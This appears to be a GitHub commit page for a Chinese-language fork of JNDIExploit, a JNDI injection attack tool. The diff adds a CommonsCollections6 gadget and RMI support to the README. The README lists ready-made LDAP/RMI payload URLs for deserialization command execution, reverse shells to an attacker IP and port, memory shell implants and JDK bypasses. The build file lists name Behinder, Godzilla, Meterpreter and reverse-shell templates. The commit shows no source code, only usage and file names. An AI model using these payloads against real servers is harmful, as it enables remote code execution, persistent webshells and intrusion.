Skip to content

Commit

Permalink
提交项目
Browse files Browse the repository at this point in the history
  • Loading branch information
S@2g authored and S@2g committed Jul 4, 2022
1 parent 68b7ba4 commit 74097c6
Show file tree
Hide file tree
Showing 90 changed files with 167 additions and 1 deletion.
6 changes: 6 additions & 0 deletions .idea/vcs.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 7 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,9 @@

一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,适用于与自动化工具配合使用。

对大佬的项目https://github.com/WhiteHSBG/JNDIExploit做了一点点些微的优化,加了CC6,RMI,还对回显做了一点优化。
对大佬的项目https://github.com/WhiteHSBG/JNDIExploit 做了一点点些微的优化,加了CC6,RMI,还对回显做了一点优化。

后面学习到了新的链子,也会往里面加进去。

---

Expand All @@ -22,6 +24,7 @@
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-rl, --rmiPort rmi bind port (default: 10990)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
Expand Down Expand Up @@ -56,6 +59,7 @@ Supported LADP Queries:
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsCollections6/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
Expand Down Expand Up @@ -90,6 +94,8 @@ Supported LADP Queries:
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
以上可以将 <ldap://> 替换为 <rmi://>
```
* 目前支持的所有 ```PayloadType```
* ```Dnslog```: 用于产生一个```DNS```请求,与 ```DNSLog```平台配合使用,对```Linux/Windows```进行了简单的适配
Expand Down
Binary file added target/JNDI-NU.jar
Binary file not shown.
Binary file added target/classes/Meterpreter.class
Binary file not shown.
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/HTTPServer.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/LdapServer.class
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/RMIServer$1.class
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/RMIServer$2.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/RMIServer.class
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/Starter.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/template/isOK.class
Binary file not shown.
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/utils/Cache.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file added target/classes/com/feihong/ldap/utils/Util.class
Binary file not shown.
Binary file not shown.
5 changes: 5 additions & 0 deletions target/maven-archiver/pom.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
#Generated by Maven
#Mon Jul 04 10:59:26 CST 2022
version=1.4-SNAPSHOT
groupId=org.example
artifactId=JNDIExploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
com\feihong\ldap\LdapServer.class
com\feihong\ldap\template\SpringMemshellTemplate.class
com\feihong\ldap\controllers\LdapController.class
com\feihong\ldap\gadgets\utils\Gadgets.class
com\feihong\ldap\template\WebsphereMemshellTemplate.class
com\feihong\ldap\utils\MyURLClassLoader.class
com\feihong\ldap\controllers\TomcatBypassController.class
com\feihong\ldap\gadgets\CVE_2020_2883.class
com\feihong\ldap\gadgets\C3P0.class
com\feihong\ldap\template\isSuccess.class
com\feihong\ldap\template\JettyMemshellTemplate.class
com\feihong\ldap\gadgets\Jdk7u21.class
com\feihong\ldap\LDAPRefServer.class
com\feihong\ldap\template\WeblogicEchoTemplate.class
com\feihong\ldap\RMIServer.class
com\feihong\ldap\template\DynamicInterceptorTemplate.class
com\feihong\ldap\controllers\TomcatBypassController$1.class
com\feihong\ldap\gadgets\CommonsBeanutils2.class
com\feihong\ldap\template\SpringEchoTemplate.class
com\feihong\ldap\template\TomcatEchoTemplate.class
com\feihong\ldap\controllers\GroovyBypassController.class
com\feihong\ldap\template\WeblogicMemshellTemplate1.class
com\feihong\ldap\controllers\BasicController.class
com\feihong\ldap\template\GodzillaFilter.class
com\feihong\ldap\template\JettyBehinderFilter.class
com\feihong\ldap\controllers\WebsphereBypassController$1.class
com\feihong\ldap\gadgets\CommonsCollections6.class
com\feihong\ldap\gadgets\utils\Gadgets$1.class
com\feihong\ldap\controllers\SerializedDataController.class
com\feihong\ldap\template\DnslogTemplate.class
com\feihong\ldap\exceptions\UnSupportedGadgetTypeException.class
com\feihong\ldap\gadgets\utils\Util.class
com\feihong\ldap\exceptions\IncorrectParamsException.class
com\feihong\ldap\controllers\WebsphereBypassController.class
com\feihong\ldap\gadgets\C3P0$PoolSource.class
com\feihong\ldap\HTTPServer.class
com\feihong\ldap\gadgets\CommonsBeanutils1.class
com\feihong\ldap\template\DynamicFilterTemplate.class
com\feihong\ldap\RMIServer$MarshalOutputStream.class
com\feihong\ldap\RMIServer$1.class
com\feihong\ldap\gadgets\utils\ClassFiles.class
com\feihong\ldap\template\Template.class
com\feihong\ldap\utils\Config.class
com\feihong\ldap\exceptions\UnSupportedActionTypeException.class
com\feihong\ldap\gadgets\CVE_2020_2555.class
com\feihong\ldap\gadgets\URLDNS$SilentURLStreamHandler.class
com\feihong\ldap\gadgets\C3P0$1.class
com\feihong\ldap\gadgets\CVE_2020_2555$1.class
com\feihong\ldap\gadgets\CommonsCollectionsK2.class
com\feihong\ldap\gadgets\CVE_2020_2883$1.class
com\feihong\ldap\enumtypes\WebsphereActionType.class
com\feihong\ldap\template\TomcatMemshellTemplate1.class
com\feihong\ldap\template\WeblogicMemshellTemplate2.class
com\feihong\ldap\controllers\BasicController$1.class
com\feihong\ldap\exceptions\UnSupportedPayloadTypeException.class
com\feihong\ldap\controllers\SerializedDataController$1.class
com\feihong\ldap\HTTPServer$1.class
com\ibm\websphere\client\factory\jdbc\PropertiesRefAddr.class
com\feihong\ldap\template\CommandTemplate.class
com\feihong\ldap\RMIServer$Dummy.class
com\feihong\ldap\Starter.class
com\feihong\ldap\gadgets\utils\Reflections.class
com\feihong\ldap\controllers\LdapMapping.class
com\feihong\ldap\RMIServer$2.class
com\feihong\ldap\controllers\TomcatBypassController$TomcatBypassHelper.class
com\feihong\ldap\template\MyClassLoader.class
com\feihong\ldap\LDAPRefServer$OperationInterceptor.class
com\feihong\ldap\utils\Util.class
com\feihong\ldap\gadgets\CommonsCollectionsK1.class
com\feihong\ldap\utils\Cache.class
Meterpreter.class
com\feihong\ldap\enumtypes\PayloadType.class
com\feihong\ldap\gadgets\utils\Gadgets$Foo.class
com\feihong\ldap\template\JBossMemshellTemplate.class
com\feihong\ldap\enumtypes\GadgetType.class
com\feihong\ldap\utils\ClassByteChange.class
com\feihong\ldap\gadgets\Jre8u20.class
com\feihong\ldap\gadgets\utils\Gadgets$StubTransletPayload.class
com\feihong\ldap\template\isOK.class
com\feihong\ldap\template\Meterpreter.class
com\feihong\ldap\template\TomcatMemshellTemplate2.class
com\feihong\ldap\template\BehinderFilter.class
com\feihong\ldap\gadgets\URLDNS.class
com\feihong\ldap\template\ReverseShellTemplate.class
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\exceptions\UnSupportedPayloadTypeException.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\HTTPServer.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\WebsphereBypassController.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\SerializedDataController.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\LDAPRefServer.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\utils\Util.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\BehinderFilter.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\LdapController.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\CommonsBeanutils2.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\DnslogTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\utils\Reflections.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\exceptions\IncorrectParamsException.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\DynamicInterceptorTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\Template.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\exceptions\UnSupportedGadgetTypeException.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\CVE_2020_2555.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\LdapMapping.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\Starter.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\TomcatBypassController.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\enumtypes\WebsphereActionType.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\MyClassLoader.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\LdapServer.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\isOK.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\ReverseShellTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\TomcatEchoTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\utils\MyURLClassLoader.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\Jdk7u21.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\GroovyBypassController.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\CommonsCollectionsK2.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\CVE_2020_2883.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\GodzillaFilter.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\CommandTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\CommonsCollections6.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\BasicController.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\JBossMemshellTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\WeblogicEchoTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\WeblogicMemshellTemplate2.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\Jre8u20.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\DynamicFilterTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\utils\Cache.java
C:\2\JNDI-NU\src\main\java\Meterpreter.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\utils\Config.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\RMIServer.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\utils\Util.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\TomcatMemshellTemplate2.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\SpringMemshellTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\URLDNS.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\C3P0.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\Meterpreter.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\SpringEchoTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\utils\ClassFiles.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\WeblogicMemshellTemplate1.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\JettyBehinderFilter.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\controllers\PropertiesRefAddr.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\CommonsCollectionsK1.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\utils\Gadgets.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\utils\ClassByteChange.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\enumtypes\GadgetType.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\WebsphereMemshellTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\JettyMemshellTemplate.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\enumtypes\PayloadType.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\isSuccess.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\template\TomcatMemshellTemplate1.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\exceptions\UnSupportedActionTypeException.java
C:\2\JNDI-NU\src\main\java\com\feihong\ldap\gadgets\CommonsBeanutils1.java

0 comments on commit 74097c6

Please sign in to comment.